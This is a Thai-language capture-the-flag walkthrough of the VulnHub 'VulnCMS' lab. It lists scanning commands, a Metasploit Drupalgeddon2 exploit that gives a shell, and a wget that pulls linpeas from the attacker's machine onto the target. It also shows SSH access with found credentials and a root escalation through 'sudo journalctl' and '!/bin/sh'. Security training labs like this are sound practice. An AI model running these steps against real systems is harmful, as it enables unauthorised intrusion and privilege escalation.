วันนี้แอดพามา Walkthrough กับ Lab จาก Vulnhub ที่ชื่อว่า “VulnCMS” โดยจุดประสงค์ของ Lab นี้ก็คือเราต้องหา user and root flag นั่นเองครับ
เริ่มต้นเลยใช้ Nmap ในการสแกนเพื่อหา Host เป้าหมายของแอดว่าเป็นหมายเลข IP Address อะไร
เมื่อตรวจสอบแล้วพบว่าหมายเลข IP Address เป้าหมายของแอดคือหมายเลข 192.168.239.131
เมื่อได้หมายลข IP Address ของเป้าหมายแล้ว ต่อมาแอดใช้ Nmap สแกนหา Port และ Service ที่มีการเปิดใช้งานบนระบบเป้าหมายกันก่อนครับ
เห็นมี Port 80 เปิดอยู่ ลองเข้าผ่านเว็บบราวเซอร์ดูหน่อยว่ามีอะไรให้แอดเล่นบ้างรึป่าว เมื่อเข้าไปที่หน้าเว็บไซต์แล้วพบว่าไม่สามารถกด Link หรือกรอกอะไรลงไปได้ คิดว่าไม่น่าจะต้องมาเล่นตรงนี้ละ
แต่ไหน ๆ แอดก็เจอหน้าเว็บละ ลองสแกนหา Path ที่อยู่บนเว็บหน่อยละกันครับ แอดใช้ Tools ที่ชื่อว่า Dirsearch ในการสแกนครับโดยใช้คำสั่ง "ython3 dirsearch.py -u http://192.168.239.131 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -f -e txt,backup,db"
พบว่าแอดเจอพาธที่น่าสนใจเพิ่มแล้วล่ะ มาดูกันดีกว่าในพาธมีอะไรกันบ้าง
เริ่มกันที่ robots.txt กันก่อนเลยมีพาธที่ disallowed ไว้ด้วย
เมื่อเข้าไปตรวจสอบหน้าเว็บไซต์ที่ได้จาก robots.txt แล้วก็ยังไม่พบว่ามีส่วนไหนจะโจมตีได้ จึงคาดว่าอาจจะต้องโจมตีด้วยวิธีอื่นแทนแล้วละครับ ลองไปเข้าด้วย Port 5000 ดูครับ
เมื่อเข้าเว็บด้วย Port 5000 ฮั่นแหน่! มีความเป็นไปได้ที่ระบบจะเป็น wordpress นะครับ
ว่าแล้วก็ใช้ WPScan จัดซะเลย ใช้คำสั่ง "wpscan http://192.168.239.131:5000/"
สแกนดูแล้วก็ยังไม่พบว่ามี Plug-in หรือส่วนที่น่าจะโจมตีได้เลยแหะ หาไม่เจอซ๊ากกกกที
เราไปเล่นต่อที่ Port 8081 กันดีกว่า อ๊า! มี login form ให้เล่นด้วย แต่ลองโจมตีแล้วก็ไม่ได้อะไรเลยแหะ
พอกด View Page Source ดูเท่านั้นแหละ เห็นเลยว่าเว็บนี้ต้องเป็น Joomla แน่นวล สมกับชื่อโจทย์เลยนะครับ “VulnCMS” แต่ละ Port น่าจะเป็น CMS ต่างกันแน่ ๆ
ค้นไปจนเจอ administrator directory เป็น login เข้าระบบของ Joomla ทำให้ค่อนข้างมั่นใจเลยครับว่าระบบบน Port 8081 เนี่ยเป็น Joomla แหงมๆ
ลองใช้ Tools “JoomScan” มาสแกนดูหน่อยว่าเจออะไรมั้ย โหลดได้จาก https://github.com/OWASP/joomscan เลย ใช้คำสั่ง "perl joomscan.pl -u http://192.168.239.131:8081/"
ผลสแกนออกมาพบว่าเป็น Joomla Version 3.4.3 มีช่องโหว่ตาม CVE เพียบเลย
ใช้เวลาลองยิงตามช่องโหว่ใน CVE ตามผลสแกนมาซักพักแต่ก็ยังไม่ได้อะไรเลย ไม่เสียเวลาละ
เรามาต่อกันที่ Port 9001 ซึ่งเป็น Port ที่มีเซอร์วิสเว็บตัวสุดท้ายของเรากันดีกว่า
เข้ามาที่หน้าเว็บดูจากโลโก้แล้วก็คิดว่าน่าจะเป็น Dupal นะครับ
เราใช้วิธีเดิมเลยครับโหลด Tools มาลองสแกนเลยครับ โหลดจาก https://github.com/droope/droopescan
เป็น Tools สำหรับสแกนพวก CMS เช่นกันครับ โหลดเสร็จแล้วก็ติดตั้ง Component ที่ตัว Tools ต้องการโดยใช้คำสั่ง “pip install -r requirements.txt”
เสร็จเรียบร้อยแล้วเราลองใช้ Tools สแกนโดยใช้คำสั่ง “./droopescan scan drupal -u http://192.168.239.131:9001”
ผลสแกนออกมาพบว่าเจอแต่ Version ของ Drupal ที่เป็น Version 7.54 เลยลองเอาไปค้นหาใน Google เพิ่มเติมดูครับ
เมื่อลองดูแล้วพบว่า Drupal Version 7.54 ก็มีความเป็นไปได้ที่จะมีช่องโหว่ที่สามารถ Exploit ได้เลย
ใช้ Metasploit ยิงดูเลยครับ ใช้คำสั่ง “search drapal” เพื่อค้นหา Module ที่เกี่ยวข้องครับ พบว่ามีประมาณ 7 Modoles
ไล่ลองยิงมาเรื่อย ๆ จนพบว่ามี Module “exploit/unix/webapp/drupal_drupalgeddon2” ที่สามารถยิงไปแล้วได้ Meterpreter
โดยตั้งค่า Option ดังรูปครับ
หลังจากเราได้ Meterpreter มาแล้วใช้คำสั่ง “shell -t” เพื่อทำ spawn shell นะครับ
ทำการ Recheck กันหน่อยว่าเครื่องเป้าหมายที่เราได้ Shell นั้นเป็นเครื่องเดียวกับแลป “VulnCMS” ของเรา
เริ่มจากเช็ค IP Address ก่อนเลยได้หมายเลข 192.168.239.131 ตรงกับโจทย์เลยครับ
ต่อมาเรามาเช็คสิทธิ์และหมายเลข ID ของ Account ที่เราได้จากเครื่องเป้าหมายกันครับ ใช้คำสั่ง “whoami” และ “id” ตามลำดับ
สิทธิ์ของ Account ที่เราได้มานั้นยังไม่ได้เป็น root เลยครับ
เอาล่ะขั้นต่อไปเรามาลองพยายามยกสิทธิ์ไปเป็น root กันดูครับ มา!
นึกอะไรไม่ออกให้ linpeas สแกนไว้ก่อนเลยครับ เริ่มด้วยการให้เครื่องเป้าหมายเข้ามาดาวน์โหลดไฟล์ linpeas จากเครื่องเราก่อนเลย โดยเราจะใช้คำสั่ง “python3 -m http.server 8877 < linpeas.sh” เพื่อเปิด http โปรโตคอล port 8877 และมีการ push ไฟล์ linpeas.sh เข้าไปด้วย
จากนั้นเรากลับเข้ามาที่ Meterpreter shell ของเรากันใช้คำสั่ง “wget http://192.168.239.147:8877/linpeas.sh” เพื่อให้เครื่องเป้าหมายโหลดไฟล์ linpeas.sh เข้าไปในเครื่องเพื่อให้เราสามารถเอาไฟล์ไปใช้งานต่อไปได้
อ้อ อย่าลืมดู permission ของ directory นะครับว่าเรามีสิทธิ์ดาวน์โหลดไฟล์ลง directory นั้น ๆ รึป่าว แต่เคสนี้แอดเลือกใช้ directory /tmp ในการดาวน์โหลดไฟล์ในครั้งนี้เลยครับ
หลังจากดาวน์โหลดไฟล์มาเรียบร้อยแล้วก็ลองรันด้วยคำสั่ง “./linpeas.sh” พบว่าติดเรื่อง permission เลยใช้คำสั่ง “chmod 777 linpeas.sh” เพื่อแก้ไข permission ให้สามารถรันไฟล์ได้ครับ
ใช้คำสั่ง “./linpeas.sh > lin1” เพื่อรันสคริปและเขียนลงไฟล์ lin1 เพื่อให้เราสามารถมาเปิดดูผลย้อนหลังได้ที่ไฟล์ lin1 นั่นเอง
สแกนเสร็จก็มานั่งเปิดไฟล์ผลสแกนอ่านดูกันครับ เจอข้อมูลมากมายเลยแต่มีข้อมูลนึงที่ดูแล้วน่าสนใจซะจริงเชียว
ว่าแล้วก็ไม่รอช้าลอง SSH ด้วย Account “Tyrell” ซะเลย และก็เป็นตามที่คิดไว้แอดสามารถ SSH เข้าไปได้ด้วยสิทธิ์ Tyrell
แต่ก็ยังไม่ได้สิทธิ์ root ซะทีเว้ย เฮ้อๆๆ
เรารู้ Password ของ Account “Tyrell” ลองใช้คำสั่ง “sudo -l” กันครับ
ก็พบว่ายังไม่สามารถเข้าไปด้วยสิทธิ์ root ได้นะครับ มาลองค้นข้อมูลเพิ่มเติมดูก็ไปเจอกับ >> https://gtfobins.github.io/gtfobins/journalctl/
ว่าแล้วก็ลองรันคำสั่งตามเลยละกันครับ ใช้คำสั่ง “sudo journalctl” ตามด้วย “!/bin/sh” ตามลำดับ
มาดูผลกัน
อ๊าๆๆๆ เค้ามาด้วยสิทธิ์ root ได้แล้ว ตามไปเก็บ Flag กันลองเข้าไปที่ /root แล้ว ls ดูเลยมีไฟล์ root.txt ก็เปิดไฟล์อ่านแค่นั้นเอง
แต่เดี๋ยวก่อนยังไม่จบครับจากจุดประสงค์ของ Lab นี้เขาอยากให้หาทั้ง user และ root flag แต่ตอนนี้เราได้แค่ root flag ฉะนั้นเราต้องหาให้ครบนะครับ
จากข้อมูลที่ได้มาจาก root flag ชื่อไฟล์ว่า root.txt แอดก็โกงหน่อยๆ ใช้สิทธิ์ root ในการหาไฟล์ user.txt ซะเลยโดยใช้คำสั่ง “find / -iname user.txt” และก็ได้ผลลัพธ์ตามรูปเลยครับ อย่าเรียกว่าโกงเลยเรียกว่าเป็นทริคเล็ก ๆ ครับ 555
จบกันแล้วกับ Lab “VulnCMS” คราวหน้าจะพาไป Walkthrough Lab ไหนอีกรอติดตามกันได้นะคร๊าบบ
ใครอยากลองเล่นบ้างกดเข้าไปเลยครับที่ >> https://www.vulnhub.com/entry/vulncms-1,710/